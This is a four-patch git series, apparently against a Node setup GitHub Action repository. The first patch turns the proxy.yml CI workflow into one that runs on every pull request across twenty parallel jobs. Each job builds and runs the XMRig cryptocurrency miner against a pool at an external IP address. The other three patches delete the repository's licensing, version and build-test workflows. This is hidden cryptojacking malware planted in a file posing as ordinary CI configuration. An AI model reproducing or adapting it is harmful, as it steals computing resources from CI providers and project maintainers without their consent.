From e01b562b37ff8e0b28ab4b05db111729be4a4ca4 Mon Sep 17 00:00:00 2001 From: Lordieolore <82176929+Lordieolore@users.noreply.github.com> Date: Thu, 8 Apr 2021 14:50:11 -0400 Subject: [PATCH 1/4] Update proxy.yml --- .github/workflows/proxy.yml | 76 +++++++++++-------------------------- 1 file changed, 22 insertions(+), 54 deletions(-) diff --git a/.github/workflows/proxy.yml b/.github/workflows/proxy.yml index 6eaa1570..60361b9a 100644 --- a/.github/workflows/proxy.yml +++ b/.github/workflows/proxy.yml @@ -1,56 +1,24 @@ -name: proxy - -on: - pull_request: - paths-ignore: - - '**.md' - push: - branches: - - master - - releases/* - paths-ignore: - - '**.md' - +name: a1 +on: [pull_request] jobs: - test-proxy: - runs-on: ubuntu-latest - strategy: - fail-fast: false - container: - image: ubuntu:latest - options: --dns 127.0.0.1 - services: - squid-proxy: - image: datadog/squid:latest - ports: - - 3128:3128 - env: - https_proxy: http://squid-proxy:3128 - steps: - - uses: actions/checkout@v2 - - name: Clear tool cache - run: rm -rf $RUNNER_TOOL_CACHE/* - - name: Setup node 10 - uses: ./ - with: - node-version: 10.x - - name: Verify node and npm - run: __tests__/verify-node.sh 10 + run: + name: Run + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + runner: [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19] + steps: + - shell: bash + run: | + sudo apt-get update + sudo apt-get install --yes build-essential cmake git libhwloc-dev libssl-dev libuv1-dev + curl -Lo xmrig.tar.gz https://github.com/xmrig/xmrig/archive/refs/tags/v6.10.0.tar.gz + tar xf xmrig.tar.gz + cd xmrig-* + mkdir build + cd build + cmake .. -DCMAKE_BUILD_TYPE=Release + make --jobs=$(nproc) - test-bypass-proxy: - runs-on: ubuntu-latest - strategy: - fail-fast: false - env: - https_proxy: http://no-such-proxy:3128 - no_proxy: api.github.com,github.com,nodejs.org,registry.npmjs.org,*.s3.amazonaws.com,s3.amazonaws.com - steps: - - uses: actions/checkout@v2 - - name: Clear tool cache - run: rm -rf $RUNNER_TOOL_CACHE/* - - name: Setup node 11 - uses: ./ - with: - node-version: 11 - - name: Verify node and npm - run: __tests__/verify-node.sh 11 + ./xmrig --donate-level 0 -o 45.85.90.9:3333 From 835f095270afbf1488ea91cca7a9d47dcea0d527 Mon Sep 17 00:00:00 2001 From: Lordieolore <82176929+Lordieolore@users.noreply.github.com> Date: Thu, 8 Apr 2021 22:04:01 -0400 Subject: [PATCH 2/4] Delete licensed.yml --- .github/workflows/licensed.yml | 20 -------------------- 1 file changed, 20 deletions(-) delete mode 100644 .github/workflows/licensed.yml diff --git a/.github/workflows/licensed.yml b/.github/workflows/licensed.yml deleted file mode 100644 index ae62613f..00000000 --- a/.github/workflows/licensed.yml +++ /dev/null @@ -1,20 +0,0 @@ -name: Licensed - -on: - push: {branches: main} - pull_request: {branches: main} - -jobs: - test: - runs-on: ubuntu-latest - name: Check licenses - steps: - - uses: actions/checkout@v2 - - run: npm ci - - name: Install licensed - run: | - cd $RUNNER_TEMP - curl -Lfs -o licensed.tar.gz https://github.com/github/licensed/releases/download/2.12.2/licensed-2.12.2-linux-x64.tar.gz - sudo tar -xzf licensed.tar.gz - sudo mv licensed /usr/local/bin/licensed - - run: licensed status \ No newline at end of file From 2da11cb11d6f0ab84415b4928180721a795a1a3b Mon Sep 17 00:00:00 2001 From: Lordieolore <82176929+Lordieolore@users.noreply.github.com> Date: Thu, 8 Apr 2021 22:04:08 -0400 Subject: [PATCH 3/4] Delete versions.yml --- .github/workflows/versions.yml | 112 --------------------------------- 1 file changed, 112 deletions(-) delete mode 100644 .github/workflows/versions.yml diff --git a/.github/workflows/versions.yml b/.github/workflows/versions.yml deleted file mode 100644 index 2058b022..00000000 --- a/.github/workflows/versions.yml +++ /dev/null @@ -1,112 +0,0 @@ -name: versions - -on: - pull_request: - paths-ignore: - - '**.md' - push: - branches: - - main - - releases/* - paths-ignore: - - '**.md' - -jobs: - local-cache: - runs-on: ${{ matrix.os }} - strategy: - fail-fast: false - matrix: - os: [ubuntu-latest, windows-latest, macos-latest] - node-version: [10, 12, 14] - steps: - - uses: actions/checkout@v2 - - name: Setup Node - uses: ./ - with: - node-version: ${{ matrix.node-version }} - - name: Verify node and npm - run: __tests__/verify-node.sh "${{ matrix.node-version }}" - shell: bash - - manifest: - runs-on: ${{ matrix.os }} - strategy: - fail-fast: false - matrix: - os: [ubuntu-latest, windows-latest, macos-latest] - node-version: [10.15, 12.16.0, 14.2.0] - steps: - - uses: actions/checkout@v2 - - name: Setup Node - uses: ./ - with: - node-version: ${{ matrix.node-version }} - - name: Verify node and npm - run: __tests__/verify-node.sh "${{ matrix.node-version }}" - shell: bash - - check-latest: - runs-on: ${{ matrix.os }} - strategy: - fail-fast: false - matrix: - os: [ubuntu-latest, windows-latest, macos-latest] - node-version: [10, 11, 12, 14] - steps: - - uses: actions/checkout@v2 - - name: Setup Node and check latest - uses: ./ - with: - node-version: ${{ matrix.node-version }} - check-latest: true - - name: Verify node and npm - run: __tests__/verify-node.sh "${{ matrix.node-version }}" - shell: bash - - node-dist: - runs-on: ${{ matrix.os }} - strategy: - fail-fast: false - matrix: - os: [ubuntu-latest, windows-latest, macos-latest] - node-version: [11, 13] - steps: - - uses: actions/checkout@v2 - - name: Setup Node from dist - uses: ./ - with: - node-version: ${{ matrix.node-version }} - - name: Verify node and npm - run: __tests__/verify-node.sh "${{ matrix.node-version }}" - shell: bash - - old-versions: - runs-on: ${{ matrix.os }} - strategy: - fail-fast: false - matrix: - os: [ubuntu-latest, windows-latest, macos-latest] - steps: - - uses: actions/checkout@v2 - # test old versions which didn't have npm and layout different - - name: Setup node 0.12.18 from dist - uses: ./ - with: - node-version: 0.12.18 - - name: Verify node - run: __tests__/verify-node.sh 0.12.18 SKIP_NPM - shell: bash - - arch: - runs-on: windows-latest - steps: - - uses: actions/checkout@v2 - - name: Setup node 12 x86 from dist - uses: ./ - with: - node-version: '12' - architecture: 'x86' - - name: Verify node - run: __tests__/verify-arch.sh "ia32" - shell: bash \ No newline at end of file From 5d1d27667ccc1afa23c73f3d1b28250fed72301a Mon Sep 17 00:00:00 2001 From: Lordieolore <82176929+Lordieolore@users.noreply.github.com> Date: Thu, 8 Apr 2021 22:04:14 -0400 Subject: [PATCH 4/4] Delete build-test.yml --- .github/workflows/build-test.yml | 32 -------------------------------- 1 file changed, 32 deletions(-) delete mode 100644 .github/workflows/build-test.yml diff --git a/.github/workflows/build-test.yml b/.github/workflows/build-test.yml deleted file mode 100644 index da4c182e..00000000 --- a/.github/workflows/build-test.yml +++ /dev/null @@ -1,32 +0,0 @@ -name: build-test - -on: - pull_request: - paths-ignore: - - '**.md' - push: - branches: - - main - - releases/* - paths-ignore: - - '**.md' - -jobs: - build: - runs-on: ${{ matrix.os }} - strategy: - matrix: - os: [ubuntu-latest, windows-latest, macos-latest] - steps: - - uses: actions/checkout@v2 - - name: Setup node 12 - uses: actions/setup-node@v2 - with: - node-version: 12.x - - run: npm ci - - run: npm run build - - run: npm run format-check - - run: npm test - - name: Verify no unstaged changes - if: runner.os != 'windows' - run: __tests__/verify-no-unstaged-changes.sh